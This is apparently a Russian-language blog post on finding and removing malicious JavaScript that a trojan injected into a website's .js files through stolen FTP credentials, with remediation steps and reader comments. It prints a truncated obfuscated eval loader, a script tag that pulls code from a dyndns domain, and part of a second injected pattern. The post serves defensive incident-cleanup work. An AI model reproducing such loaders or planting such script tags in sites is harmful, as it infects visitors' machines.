Вирусы на сайте. Поиск и удаление кода.

Тема появления вредоносного кода на страницах сайта очень популярная. Хотел в заголовке добавить «Часть 1», но потом решил сделать в виде бесконечной истории =)

Как уже все должно быть известно, нередко (я бы даже сказал, в большинстве случаев) пользователи сами становятся носителями инфекции (в ботнет-среде таких называют «зомби»). И внедрение кода может происходить следующим способом.

  1. Имеем владельца сайта и по совместительству пользователя какой-либо социальной сети
  2. Пользователь проходит по ссылочке в стиле «Смотри, какие у меня сиськи http://vkontakte.tralalala.lala.lala.net/siski.gif», которая приходит ему в личку от одноклассницы, в которую он влюблен с восьмого класса и френдит в социальных сетях. Естественно, длинная ссылка сокращается и он видит только начало «http://vkon….siski.gif» и тыкает нераздумывая (еще бы!)
  3. В лучшем случае он видит что-нибудь типа «файл не найден», плюет и закрывает вкладку браузера.
  4. Начинается самое интересное. (Не забываем, что у пользователя есть сайт, куда он ходит по ftp, внося изменения или заливая новые файлики.)
  5. Ни с того, ни с сего пользователю начинают жаловаться посетитель сайта, что при входе на его сайт их антивирусы ругаются непотребными словами, упоминая наличие вредоносного кода. Либо поисковые системы блокируют переходы на сайт с соответствующей надписью.

Как оказывается, используя готовые пути (ftp, авторизацию в соц.сети) троян начинает свою вредоносную деятельность. Рассылает в личку похожие приглашения и оставляет ссылки. Внедряет похожее в .php, .js файлы для того, чтобы посетители при входе на сайт получали порцию заразы.

Бывают, конечно, и уязвимости в коде скриптов, но вышеописанное все таки более часто =)

Приведу пример, с которым мне посчастливилось

Thu Apr 05 04:57:50 2012 0 <IP> 1120 /home/USER/data/www/SITE.ru/.../users-common.js a _ o r USER ftp 0 * c
Thu Apr 05 04:57:51 2012 0 <IP> 13183 /home/USER/data/www/SITE.ru/.../users-common.js a _ i r USER ftp 0 * c

Посмотрите на эту замечательную гадость радость ситуацию.

Скачался файлик с размером 1Кб, и через секунду загрузился обратно с размером 13 (!!!) Кб.  Все это было произведено с одного IP-адреса и под одним и тем же FTP-пользователем.

Внутри (последней строкой) находилось изумительно-обфусцированное тельце вредителя:

c=3-1;i=c-2;if(window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['0i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i78i57i74i-8i77i74i68i-8i21i-

<членики почиканы>

31i-31i-31i64i61i57i60i6i57i72i72i61i70i60i27i64i65i68i60i0i75i59i74i65i72i76i1i19i-27i-30i-31i-31i85i-27i-30i-31i85i19i-27i-30i85i1i0i1i19'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;693!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);

Который занимался генерацией ссылок на js-скрипты, располагающиеся на различных dyndns-домены. К тому времени, как я добрался до этого сайта, ни одна из ссылок не открывалась

<script type="text/javascript" src="http://91e7q25.kckbaqhcsy.dyndns-server.com/g/884282573279103.js">

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginxx</center>
</body>
</html>
</script>

Подобные вещи можно найти, изучая логи ftp-сервера (к примеру, /var/log/xferlog), причем не только текущие, но и те, что уже поротейтились, либо тыкаясь по сайту чем-нибудь типа firebug для Firefox.

И так, проблема найдена и ее следует устранить.

  1. Проверяем все компьютеры пользователей, имеющие доступ к ftp.
  2. Ограничиваем круг имеющих доступ.
  3. Отучаемся хранить логин и пароль от ftp в ftp-клиенте и вообще вместе.
  4. Делаем резервные копии

Если резервной копии с незараженными файлами нет, то можно прибегнуть к ручному вмешательству в файлы, предварительно сделав резервную копию.

Я воспользовался командой find для поиска нужных файлов и perl для выкусывания части строки из файлов.

find <путь поиска> -type f -name «*.js» -exec perl -pi -e ‘s/<начало паттерна>.*<конец паттерна>//g»’ ‘{}’ \;

где,

  • <путь поиска> — указывается месторасположение откуда начинать искать. Можно указать как полный путь до директории /home/USER/data/www/SITE/, так и относительный (к примеру, находясь в корне директории сайта можно использовать «./«)
  • <начало паттерна> — несколько первых символов кода, начиная с которых требуется удалить
  • <конец паттерна> — несколько последних символов кода, заканчивая которыми требуется удалить

Не забываем экранировать различные скобки и знаки препинания.

В конкретном случае я воспользовался строкой

find ./ -type f -name "*.js" -exec perl -pi -e 's/c=3-1.*e\(z\)\;//g''' '{}' \;

Если у вас возникнут какие-то трудности — я всегда открыт для диалога $-)

 

UPDATE: Не совсем уверен, но, кажется, с недавнего времени онлайновый сканер DrWeb стал распознавать эту заразу

http://<>//js/jquery.js infected with JS.IFrame.233

Другие публикации по теме:

Вирусы на сайте #3 Продолжаем бесконечную историю.Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаем...
Уязвимость Joomla с редактором JCE... В плагине редакторе JCE версии ниже 2.0.11 была обнаружена уязвимость и имеет место быть большая череда взломов с последующим внедрением вредоносного ...
Взлом Joomla, внедрение бекдора и очистка от кода... UPD 01.03.2013: Я закрыл возможность комментирования данной записи. Все вопросы по данной теме задавайте на http://ask.sabini.ch. Благодарю за пониман...
Вирусы на сайте. Продолжение. Новый паттерн... Найден новый паттерн. Заражаются все .js-файлы try{q=document.createElement("d"+"i"+"v");q.appendChild(q+"");}catch(qw){h=-012/5;}try{prototype;}catc...

Поделиться информацией с друзьями!

Чтобы не пропустить обновления, подпишись на RSS или почтовую рассылку (свой выбор сделали уже 128 человек!)

3 комментария к «Вирусы на сайте. Поиск и удаление кода.»

  1. Привет! Хотелось бы поподробнее узнать насчет лечения заразы. У меня два сайта полегли, а в серваках я не очень хорошо понимаю. Как и где лечить вирус в js файлах?
    der-mirage@yandex.ru

  2. Хапнул точно такой же троян. Поселился в .js проверял д.вебом, удалил строки в тех .js которые он указывал, проверил еще раз — пишет все чисто, а касперский ругается, начал проверять те ссылки которые он блокирует,действительно в этих файлах осталась зараза. начинаю чистить руками. Не подскажите как оптимизировать поиск. Куда вышеуказанный скрип вставить чтобы найти вредоносный код? Спасибо

  3. все что я пишу, по умолчанию относится к системам семейства unix и консоли, если я не пишу заранее об условиях.
    Оптимизируется поиск с помощью различных комбинаций простых утилит.

Оставить комментарий